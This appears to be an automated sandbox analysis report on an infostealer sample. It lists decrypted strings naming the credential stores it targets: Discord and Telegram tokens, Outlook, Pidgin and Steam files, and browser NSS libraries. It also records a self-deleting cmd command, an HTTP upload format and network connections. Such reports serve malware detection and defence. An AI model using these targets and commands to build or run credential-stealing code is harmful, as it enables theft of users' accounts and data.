Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - UserName:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - Computer Name:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - Local Time:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - UTC:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - Language:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - Keyboards:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - Laptop:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - Running Path:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - CPU:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - Threads:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - Cores:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - RAM:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - Display Resolution:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - GPU:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: User Agents:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Installed Apps:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: All Users:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Current User:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Process List:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: system_info.txt
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: freebl3.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: mozglue.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: msvcp140.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: nss3.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: softokn3.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: vcruntime140.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: \Temp\
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: .exe
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: runas
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: open
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: /c start
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: %DESKTOP%
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: %APPDATA%
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: %USERPROFILE%
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: %RECENT%
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: *.lnk
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: files
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: \discord\
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: key_datas
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: map*
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Telegram
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Tox
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: *.tox
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: *.ini
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Password
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: 00000001
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: 00000002
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: 00000003
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: 00000004
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Pidgin
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: \.purple\
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: accounts.xml
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: token:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SteamPath
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: \config\
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: ssfn*
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: config.vdf
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: loginusers.vdf
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: \Steam\
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: sqlite3.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: done
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: soft
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: https
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: POST
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: HTTP/1.1
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: hwid
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: build
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: token
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: file_name
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: file
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: message
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\same.exe	Code function: 0_2_003E2F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,	0_2_003E2F1D
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Code function: 2_2_002A2F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,	2_2_002A2F1D
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Code function: 3_2_00362F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,	3_2_00362F1D
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7AA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	10_2_6C7AA9A0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7A4440 PK11_PrivDecrypt,	10_2_6C7A4440
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C774420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	10_2_6C774420
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7A44C0 PK11_PubEncrypt,	10_2_6C7A44C0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7F25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	10_2_6C7F25B0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C788670 PK11_ExportEncryptedPrivKeyInfo,	10_2_6C788670
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7AA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	10_2_6C7AA650
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C78E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	10_2_6C78E6E0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7CA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	10_2_6C7CA730
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7D0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	10_2_6C7D0180
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7A43B0 PK11_PubEncryptPKCS1,PR_SetError,	10_2_6C7A43B0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7C7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	10_2_6C7C7C00
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C787D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	10_2_6C787D60
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7CBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	10_2_6C7CBD30
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7C9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	10_2_6C7C9EC0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7A3FF0 PK11_PrivDecryptPKCS1,	10_2_6C7A3FF0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7A3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	10_2_6C7A3850
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7A9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	10_2_6C7A9840
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7CDA40 SEC_PKCS7ContentIsEncrypted,	10_2_6C7CDA40
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7A3560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	10_2_6C7A3560
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C79F050 PR_smprintf,SEC_CertNicknameConflict,strlen,realloc,memset,realloc,strlen,free,PR_smprintf,memcpy,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PR_SetError,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,memcpy,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PR_SetError,PR_SetError,PR_GetCurrentThread,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,PK11_GenerateRandom,SECKEY_DestroyPrivateKey,PR_SetError,free,free,free,free,PK11_FindCertInSlot,PORT_NewArena_Util,free,PK11_ImportCert,PR_SetError,free,CERT_DestroyCertificate,PORT_FreeArena_Util,PR_GetCurrentThread,PORT_ArenaAlloc_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_GetCurrentThread,strlen,PR_SetError,PR_GetCurrentThread,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,PR_SetError,free,SECKEY_DestroyPrivateKey,SECKEY_DestroyEncryptedPrivateKeyInfo,PR_SetError,	10_2_6C79F050

Source: same.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.3.16:443 -> 192.168.2.6:50043 version: TLS 1.2

Source: same.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857893322.000000006D0ED000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: wextract.pdb source: same.exe, same.exe, 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, N4H84.exe, N4H84.exe, 00000002.00000000.2172985974.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, h0i46.exe, h0i46.exe, 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: nss3.pdb@ source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: wextract.pdbGCTL source: same.exe, 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, N4H84.exe, 00000002.00000000.2172985974.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, h0i46.exe, 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: nss3.pdb source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: mozglue.pdb source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857893322.000000006D0ED000.00000002.00000001.01000000.00000013.sdmp

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\Desktop\same.exe	Code function: 0_2_003E2390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_003E2390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Code function: 2_2_002A2390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	2_2_002A2390
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Code function: 3_2_00362390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	3_2_00362390
